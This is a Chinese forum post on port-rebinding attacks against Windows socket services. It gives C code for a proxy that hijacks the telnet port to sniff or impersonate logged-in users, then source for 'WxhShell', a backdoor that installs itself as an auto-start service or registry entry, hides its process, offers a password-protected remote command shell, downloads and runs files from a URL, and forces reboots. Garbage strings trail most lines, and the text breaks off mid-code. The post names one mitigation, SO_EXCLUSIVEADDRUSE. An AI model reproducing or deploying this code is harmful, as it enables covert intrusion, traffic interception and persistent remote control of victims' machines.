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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e,0Gc-X[B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xn8r3Nb$A  
R$ 40cW3`  
  saddr.sin_family = AF_INET;  ^pZ\:  
G0$,H(]~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |FD-q.AV  
FBK6{rLMc  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %xI,A'#  
@GR|co  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tB{O6=q  
LMte,zs>  
  这意味着什么?意味着可以进行如下的攻击: a@WSIcX*W  
8h7z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0~N2MoOl^  
5eSmyj-W  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O!\\m0\ e  
{-Y% wM8<i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xyTjK.N  
GCPSe A~cx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HveOG$pT  
(%EhkTb  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IE9A _u*  
x k5Z&z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7L&=z$U@m  
G8oOFBQD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {oN7I'>  
i50^%,  
  #include }M9L,O*^   
  #include {e8.E<f-  
  #include +3D3[.n  
  #include    9y"*H2$#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +3n07d  
  int main() "8Y4;lbN.q  
  { ZMXIKN9BF#  
  WORD wVersionRequested; JB= L\E}  
  DWORD ret; A#j'JA>_  
  WSADATA wsaData; p1L8g[\  
  BOOL val; 'PrrP3lO_~  
  SOCKADDR_IN saddr; { wx!~K  
  SOCKADDR_IN scaddr; /A;!g5Y  
  int err; `!\`yI$!%w  
  SOCKET s;  cUz7F  
  SOCKET sc; MRdZ'  
  int caddsize; pTlNJ!U>  
  HANDLE mt; 9n"D/NZB  
  DWORD tid;   Yl#r9TM  
  wVersionRequested = MAKEWORD( 2, 2 ); @(:M?AO9S.  
  err = WSAStartup( wVersionRequested, &wsaData ); mmG+"g$|  
  if ( err != 0 ) { ^SKuX?f\  
  printf("error!WSAStartup failed!\n"); &8 ~+^P1w  
  return -1; o4CgtqRs  
  } H`;q@  
  saddr.sin_family = AF_INET; Fh4kd>1 D  
   a$SGFA}V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Pp[?E.]P  
v(/T<^{cuk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Zi fAn  
  saddr.sin_port = htons(23); =FXZcP>h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @<O Bt d  
  { u<l[S  
  printf("error!socket failed!\n"); 'e;]\< 0z  
  return -1; q}#4bB9  
  } _fu?,  
  val = TRUE; 2\M^ _x$N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 aoh"<I%]>4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;|f|d?Q\  
  { ^F `   
  printf("error!setsockopt failed!\n"); x 2\ ,n  
  return -1; c} GH|i  
  } W"_")V=QBz  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J]A!>|Ic  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -Fe) )Y'=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2R2ws.}  
{re<S<j&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lV-b   
  { [;/ydE=  
  ret=GetLastError(); ShdE!q7  
  printf("error!bind failed!\n"); ;{79d8/=  
  return -1; W0&NX`m  
  } ^b]h4z$  
  listen(s,2); C$~2FTx  
  while(1) >'^Tp7\  
  { x4PA~R  
  caddsize = sizeof(scaddr); c_ e2'K:  
  //接受连接请求 >M\3tB2C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E {$Jk]c  
  if(sc!=INVALID_SOCKET) w]hs1vch  
  { RHdcRojF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )B86  
  if(mt==NULL) lr:rQw9  
  { 0Z{f!MOh  
  printf("Thread Creat Failed!\n"); r(W=1e'  
  break; J2M[aibV  
  } F(J6 XnQ  
  } 0L_ JP9e  
  CloseHandle(mt); O9#8%p% )  
  } $ \j/s:Y  
  closesocket(s); G'oMZb ({=  
  WSACleanup(); \YE(E04w57  
  return 0; B 3Y,|*  
  }   K]{Y >w  
  DWORD WINAPI ClientThread(LPVOID lpParam) yF-EHNNf  
  { [%M=nJ{8  
  SOCKET ss = (SOCKET)lpParam; Wm{Lg0Nr  
  SOCKET sc; (,wIbwa  
  unsigned char buf[4096]; ?8AchbK; N  
  SOCKADDR_IN saddr; {2EIvKu3:  
  long num; )a ov]Ns  
  DWORD val; bhqBFiuhH  
  DWORD ret; |kPjjVGF{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ALVHKL2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b!C\J  
  saddr.sin_family = AF_INET; \a+.~_iL|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5\MCk"R!  
  saddr.sin_port = htons(23); slC 38  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tONX<rA|]  
  { p.1@4kgK&r  
  printf("error!socket failed!\n"); a\60QlAk~  
  return -1; \&K{v#g ~  
  } {Jf["Z  
  val = 100;  uIOnP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o}q>oa b z  
  { +{(f@,&~{  
  ret = GetLastError(); ZS*PY,  
  return -1; ,%>]  
  } ,@mr})s  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?RyeZKf  
  { z>rl7&[@  
  ret = GetLastError(); v]UT1d=_T  
  return -1; |sP;`h}I%  
  } 'aYUF&GG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V\$'3(*  
  { ]}t6V]`Q  
  printf("error!socket connect failed!\n"); $#VEC0  
  closesocket(sc); .ME>ICA  
  closesocket(ss); 3 q1LIM  
  return -1; ;L1Q"Hxh  
  } Hd*e9;z  
  while(1) cEI "  
  { (_h=|VjK(I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5bKBVkJ'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wKxw|Fpn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LH7m >/LJr  
  num = recv(ss,buf,4096,0); F|+Qi BO  
  if(num>0) =lB +GS%  
  send(sc,buf,num,0); <'n'>@  
  else if(num==0) )ry7a .39b  
  break; US5 ]@!  
  num = recv(sc,buf,4096,0); #m x4pf{  
  if(num>0) ='!E;  
  send(ss,buf,num,0); 0&M~lJ  
  else if(num==0) uDhe )  
  break; ENZjRf4  
  } '%Cc!63t*  
  closesocket(ss); :1>h,NKC>  
  closesocket(sc); ~ _ ogeD  
  return 0 ; 2/XrorV  
  } ''t\J^+&  
bSa%?laS  
} Xbmb8  
========================================================== %r E:5)  
tuT>,BbR  
下边附上一个代码,,WXhSHELL  |2<y  
3jSt&+  
========================================================== #`Af  
y vIeK6  
#include "stdafx.h" G>siyUh  
$('"0 @fg  
#include <stdio.h> /b&ka&|t  
#include <string.h> (AYzN3 ?D  
#include <windows.h> b+=@;0p*6B  
#include <winsock2.h> 7:[u.cd  
#include <winsvc.h> s#Os?Q?  
#include <urlmon.h> 1SAO6Wh  
C{{RU7iqc&  
#pragma comment (lib, "Ws2_32.lib") 4S%s=v w  
#pragma comment (lib, "urlmon.lib") #VM+.75o1  
qQ&=Z` p!  
#define MAX_USER   100 // 最大客户端连接数 6d7E@}<  
#define BUF_SOCK   200 // sock buffer `!,"">5  
#define KEY_BUFF   255 // 输入 buffer .rPg  
xUW\P$  
#define REBOOT     0   // 重启 k)j6rU  
#define SHUTDOWN   1   // 关机 ={'3j  
cn ~/P|B[  
#define DEF_PORT   5000 // 监听端口 p!oO}gE  
0P_=Oy"l-  
#define REG_LEN     16   // 注册表键长度 /penB[ 1i  
#define SVC_LEN     80   // NT服务名长度 NL^;C3u  
\wZ 4enm  
// 从dll定义API ~,^pya  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YCPU84f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hwx1fpo4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SEKR`2Zz,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2ezk<R5q+  
nYsB^Nr6  
// wxhshell配置信息 /Fr*k5I  
struct WSCFG { et`1#_o  
  int ws_port;         // 监听端口 v[Mh[CyB  
  char ws_passstr[REG_LEN]; // 口令 i'cGB5-j  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]EN+^i1F[  
  char ws_regname[REG_LEN]; // 注册表键名 j.]ln}b/'+  
  char ws_svcname[REG_LEN]; // 服务名 rF^H\U:w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .8%&K0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r+Pfq[z&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R|m!*B~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q!10 G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "g5<jp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y&n-8L_  
*/_$' /q V  
}; Lo<WK  
@ ^q}.u`  
// default Wxhshell configuration WJlJD*3  
struct WSCFG wscfg={DEF_PORT, 7_9^nDU  
    "xuhuanlingzhe", u+;iR/  
    1, 2tw3 =)  
    "Wxhshell", ,Gi%D3lA  
    "Wxhshell", \? n<UsI  
            "WxhShell Service", u5.zckV  
    "Wrsky Windows CmdShell Service", Leu6kPk  
    "Please Input Your Password: ", $RA+StF!]  
  1, SpO%nZ";g8  
  "http://www.wrsky.com/wxhshell.exe", 01n7ua*XX  
  "Wxhshell.exe" ]."t  
    }; x'v-]C(@  
6ys|'<?  
// 消息定义模块 lyS`X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fy*t[>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `t7z LC^c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K_Pbzj4(P  
char *msg_ws_ext="\n\rExit."; :u,Ji9 u  
char *msg_ws_end="\n\rQuit."; h1~/zM/`  
char *msg_ws_boot="\n\rReboot..."; 7](aPm8  
char *msg_ws_poff="\n\rShutdown..."; \zJb}NbnT  
char *msg_ws_down="\n\rSave to "; ms&6N']  
XI '.L ~  
char *msg_ws_err="\n\rErr!"; tXCgRU  
char *msg_ws_ok="\n\rOK!"; %oOSmt  
v t_lM  
char ExeFile[MAX_PATH]; {,=U]^A  
int nUser = 0; ,7I    
HANDLE handles[MAX_USER]; "]bOpk T  
int OsIsNt; oe*fgk/o9  
>~l^E!<i-u  
SERVICE_STATUS       serviceStatus; #[&9~za'"m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (kVxa8 0  
kr\#CW0?  
// 函数声明 Bdcs}Ga  
int Install(void); Q5&|1m Pb  
int Uninstall(void); ctoh&5%!n+  
int DownloadFile(char *sURL, SOCKET wsh); Ub{7Xk n  
int Boot(int flag); |fB/hs \  
void HideProc(void); l h?[wc  
int GetOsVer(void); 6`@6k2]  
int Wxhshell(SOCKET wsl); 5FVmk5z]d  
void TalkWithClient(void *cs); q%/\  
int CmdShell(SOCKET sock); 8]i7 wq#=  
int StartFromService(void); v*kX?J#]5  
int StartWxhshell(LPSTR lpCmdLine); nKmf#  
L=@8Z i!2<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M4n0GWHLy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Cb6K!5[q]  
U]&/F{3 im  
// 数据结构和表定义 K1=j7  
SERVICE_TABLE_ENTRY DispatchTable[] = ?L|Ai\|  
{ 0Q~\1D 9g  
{wscfg.ws_svcname, NTServiceMain}, X"V)oC  
{NULL, NULL} q8)w Al  
}; !<<wI'8  
Jsa;pG=3&  
// 自我安装 :(K JLa]  
int Install(void) 3T /_#=9TV  
{ ,T-xuNYC  
  char svExeFile[MAX_PATH]; 6s t^-L  
  HKEY key; Us\Nmso z  
  strcpy(svExeFile,ExeFile); t9.| i H  
(+nnX7V?I  
// 如果是win9x系统,修改注册表设为自启动 w5vzj%6i  
if(!OsIsNt) { DH"_.j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q>6RO2,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ Zw37C9J  
  RegCloseKey(key); !iL6/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y[/:?O}g4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vs{VRc  
  RegCloseKey(key); dt Br#Te  
  return 0; ,va2:V  
    } ~uG/F?= Q:  
  } 5~OKKSUmT  
} Jv8VM\ *  
else { VHLt, ?G  
,E8g~ZUY9  
// 如果是NT以上系统,安装为系统服务 ey$H2zmo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^e]h\G  
if (schSCManager!=0) tqpSir  
{ I  :8s3;  
  SC_HANDLE schService = CreateService hGI5^!Cq  
  ( k_nQmU>  
  schSCManager, 7e[&hea  
  wscfg.ws_svcname, bduHYs+rq  
  wscfg.ws_svcdisp, hb(H-`16  
  SERVICE_ALL_ACCESS, lm*C:e)4A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ./<giTR:p  
  SERVICE_AUTO_START, NAO0b5-h  
  SERVICE_ERROR_NORMAL, +1a2Un  
  svExeFile, 5'[yw:P-8  
  NULL, )1g\v8XT  
  NULL, ~lbm^S}-  
  NULL, R ^"*ut  
  NULL, @o&UF-=MW(  
  NULL EvT"+;9/p  
  ); Pk6_1LV  
  if (schService!=0) paUJq?Af  
  { zhh6;>P  
  CloseServiceHandle(schService); z`YAOhD*h4  
  CloseServiceHandle(schSCManager); 3x=NSe|f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yQq|!'MKk  
  strcat(svExeFile,wscfg.ws_svcname); `j'gt&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { id)J;!^;J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); keJ-ohv)  
  RegCloseKey(key); ,nWZJ&B  
  return 0; of'H]IZ  
    } U%KgLg#  
  } [4-u{Tu  
  CloseServiceHandle(schSCManager); miV8jaV  
} ! QKec  
} 5*O]`Q7  
Mn*5oH  
return 1; aW#^@||B  
} ]sqp^tQ`e  
qxHsmGV  
// 自我卸载 -3SRGr  
int Uninstall(void) ;I>77gi`]  
{ d 1 O+qS  
  HKEY key; :eBp`dmn  
5N907XVu  
if(!OsIsNt) { %1M!4**W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7U - ?Rd  
  RegDeleteValue(key,wscfg.ws_regname); JY9hD;`6y  
  RegCloseKey(key); 1#x@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lgC^32y  
  RegDeleteValue(key,wscfg.ws_regname); D7C%Y^K]>E  
  RegCloseKey(key); 7H. HiyppW  
  return 0; f.RwV+lq  
  } 85](,YYz  
} { /Gm|*e{  
}  W|6.gN]  
else { GFZx[*+%%z  
bQwiJ`B&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RohD.`D  
if (schSCManager!=0) wEEFpn_   
{ >+S* Wtm5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 84gj%tw'-  
  if (schService!=0) Ws[d.El  
  { *B+YG^Yu^  
  if(DeleteService(schService)!=0) { X'5+)dj  
  CloseServiceHandle(schService); |RI77b:pX  
  CloseServiceHandle(schSCManager); 7T?7KS  
  return 0; P#2;1ki>  
  } EU()Nnm2  
  CloseServiceHandle(schService); ?D]T| =EZY  
  } #Y>d@  
  CloseServiceHandle(schSCManager); w*AXD!}  
} 9z(h8H  
} m A|"  
tHo/Vly6Z  
return 1; (z'!'?v;  
} Ec['k&*7,  
"HbrYYRb'  
// 从指定url下载文件 s`,.&  
int DownloadFile(char *sURL, SOCKET wsh) fQ,(,^!;  
{ 9'!I6;M  
  HRESULT hr; 4\Cb4jq%/  
char seps[]= "/"; [mQ*];GA  
char *token; ^Cn_ ODjo  
char *file; 7h.:XlUm|  
char myURL[MAX_PATH]; }u~r.=  
char myFILE[MAX_PATH]; y{\(|j  
}{e7wqS$&,  
strcpy(myURL,sURL); G$ Ii  
  token=strtok(myURL,seps);  \4&FW|mx  
  while(token!=NULL) k N$L8U8f  
  { ,lw<dB@7"5  
    file=token; XJf1LGT5  
  token=strtok(NULL,seps); }UHoa  
  } B9h>  
*!+?%e{;b  
GetCurrentDirectory(MAX_PATH,myFILE); 0}aw9g  
strcat(myFILE, "\\"); +luW=j0V  
strcat(myFILE, file); "O{:jfq  
  send(wsh,myFILE,strlen(myFILE),0); w5}2$r  
send(wsh,"...",3,0); HUY1nb=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z/7"!  
  if(hr==S_OK) L QP4#7  
return 0; [es-&X07<  
else yO0 9NQ 5u  
return 1; s)|l-I  
5P <  F  
} !yX4#J(  
pmi`Er  
// 系统电源模块 ppM^&6x^  
int Boot(int flag) ?28aEX_w  
{ 4S#q06=Xe  
  HANDLE hToken; !P b39[f  
  TOKEN_PRIVILEGES tkp; 'D;'Pr]  
j*;/Cah]k  
  if(OsIsNt) { T1r^.;I:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Fh$Xcz~i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^!>o5Y)  
    tkp.PrivilegeCount = 1; @uI_4a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; })}-K7v1+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WD5ulm?91|  
if(flag==REBOOT) { TJp0^&Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :j0r~*z-  
  return 0; (s.S n(E  
} {pNf& '  
else { 9}6^5f?|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =24<d!R  
  return 0; yasKU6^R'  
} 1(z+*`"WB&  
  } ocT.2/~d  
  else { YG6Kvc6T  
if(flag==REBOOT) { (eAh8^)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UZ+FV;<  
  return 0; Bx32pY  
} JMq00_  
else { Px))O&w{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A">A@`}  
  return 0; -!]dU`:(X  
} :S5B3S@|  
} D;al(q  
vMOit,{  
return 1; 1JoRP~mMxa  
} #5x[Z[m  
` `R;x  
// win9x进程隐藏模块 {?9s~{Dl  
void HideProc(void) ! G+/8Q^  
{ Q!VPk~~(  
xl$#00|y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y-WY Q{  
  if ( hKernel != NULL ) Q[k7taoy  
  { ~IKPi==@,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,&IBj6%Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nP>*0Fq  
    FreeLibrary(hKernel); >K9uwUi|b]  
  } :#QYwb~  
h4^ a#%$  
return; ( U |[C*  
} UC34AKm  
Py8<db%  
// 获取操作系统版本 |0mVK`  
int GetOsVer(void) 3J{`]v5`  
{ BZE~k?*  
  OSVERSIONINFO winfo; /IC7q?avQN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l&4TfzkY  
  GetVersionEx(&winfo); &@xixbg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U/oncC5  
  return 1; 4yH=dl4=44  
  else FPu"/4v&  
  return 0; =,~h]_\_  
}  98os4}r  
D`lTP(] y  
// 客户端句柄模块 /)PD+18  
int Wxhshell(SOCKET wsl) )vK %LmP  
{ 8 ]N+V:  
  SOCKET wsh; B{SzC=4f}  
  struct sockaddr_in client; G8lR_gD"!  
  DWORD myID; ~Cj55S+  
V(Ps6jR"BS  
  while(nUser<MAX_USER) rQbL86+  
{ t,.MtU>K@  
  int nSize=sizeof(client); $Rsf`*0-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hb"t8_--c  
  if(wsh==INVALID_SOCKET) return 1; gC#PqK~  
|Y!#`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "S43:VH  
if(handles[nUser]==0) KFd"JtPg  
  closesocket(wsh); h&Ehp   
else Eq9TJt'3y  
  nUser++; 5eO`u8M  
  } bO: Ei  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 78\:{i->ta  
(@dh"=Lt\  
  return 0; Z2WAVSw  
} _{o=I?+]  
N(@'L43$V  
// 关闭 socket S"UFT-N  
void CloseIt(SOCKET wsh) yk9|H)-z  
{ .Mw'P\GtM  
closesocket(wsh); b$nXljV4?  
nUser--; OCF\*Sx  
ExitThread(0); 4XDR?KUM  
} 9 I> 3p4]  
@#}9?>UV  
// 客户端请求句柄 9/MUzt  
void TalkWithClient(void *cs) $Tt@Xu  
{ AyKaazm]9  
#{GUu ',?&  
  SOCKET wsh=(SOCKET)cs; n< [np;\  
  char pwd[SVC_LEN]; %,GY&hTw  
  char cmd[KEY_BUFF]; =/" Of  
char chr[1]; \CL |=8[2  
int i,j; cX@~Hk4=\  
o*\kg+8  
  while (nUser < MAX_USER) { T"'"T]^ X  
>UpTMEQ  
if(wscfg.ws_passstr) { h FP$MFab  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S?%V o* Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 50(/LV1  
  //ZeroMemory(pwd,KEY_BUFF); uRKCvsisX  
      i=0; n\5` JNCb  
  while(i<SVC_LEN) { ]?xF'3#  
viAvD6e  
  // 设置超时 N7*JL2Rnq  
  fd_set FdRead; &3>ki0L  
  struct timeval TimeOut; -3X#$k8  
  FD_ZERO(&FdRead); =eSG7QfS  
  FD_SET(wsh,&FdRead); Va06(Cq  
  TimeOut.tv_sec=8; ,*r"cmz  
  TimeOut.tv_usec=0; tq?lF$mM:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BSG_),AH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \0Zm3[  
*L/_ v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r^ &{0c&o  
  pwd=chr[0]; 46*o_A,"  
  if(chr[0]==0xd || chr[0]==0xa) { tn;e PcU  
  pwd=0; 6z"fBF  
  break; $GUSTV  
  } l2=.;7 IV  
  i++; 3~BL!e,  
    } }#q9>gx  
-[v:1\Vv  
  // 如果是非法用户,关闭 socket O1coay  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  "=H7p3  
} #;a 1=8H  
UKQ ,]VC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f!*b8ND^R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qI<6% ^i  
,v$gQU2  
while(1) { X}_}`wIn  
(80]xLEBL  
  ZeroMemory(cmd,KEY_BUFF); U n2xZ[4  
JTpKF_Za<  
      // 自动支持客户端 telnet标准   B @UaaWh  
  j=0; TvAA  
  while(j<KEY_BUFF) { O$Wt\Y <q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G!oq ;<  
  cmd[j]=chr[0]; YU[93@mCh  
  if(chr[0]==0xa || chr[0]==0xd) { 8[ 1D4d  
  cmd[j]=0; t</rvAH E  
  break; `Qv7aY  
  } OqY8\>f-  
  j++; gCgMmD=AZ  
    } O:RPH{D  
G[r_|-^S  
  // 下载文件 OAR1u}  
  if(strstr(cmd,"http://")) { _+%-WFS|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xg'z_W  
  if(DownloadFile(cmd,wsh)) E$34myOVf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iquB]z'  
  else "a-Ex ]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7s,IT8ii  
  } t'_Hp},  
  else { Z~~{!C+G  
"}Ch2K  
    switch(cmd[0]) { A(W%G|+  
  <dD}4c+/t  
  // 帮助 ~kYUp5f  
  case '?': { ?BQZ\SXU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X7{ueP#L  
    break; Q4TI '/  
  } EkEM|<GNd  
  // 安装 AASw^A3p  
  case 'i': { )}=`Gx5+  
    if(Install()) A<r@,*(g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NM/?jF@j*  
    else 5Qo\0YH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~LuZ pV  
    break; IBf&'/ 8\  
    } rv&(yA  
  // 卸载 S$+vRX7  
  case 'r': { ,4jkTQ*@2  
    if(Uninstall()) wZh&w<l'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @xm O\  
    else v6HBO#F'V{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *&+e2itmp  
    break; CVo@zr$  
    } K\nN2y  
  // 显示 wxhshell 所在路径 a:Y6yg%1>  
  case 'p': { \^iJv ~d  
    char svExeFile[MAX_PATH]; E08FUAth]#  
    strcpy(svExeFile,"\n\r"); "'4R _R  
      strcat(svExeFile,ExeFile); X~sl5?  
        send(wsh,svExeFile,strlen(svExeFile),0); b>hNkVI  
    break; =;7gxV3;  
    } +b.<bb6  
  // 重启 (LA%q6  
  case 'b': { JaXT B"e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M3odyO(  
    if(Boot(REBOOT)) BZ">N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @R_a'v-  
    else { 4v33{sp  
    closesocket(wsh); wxkCmrV  
    ExitThread(0);  nk>  
    } 3DV';  
    break; .|JJyjRA+  
    } v98=#k!F  
  // 关机 =GL}\I  
  case 'd': { cZ k? o  
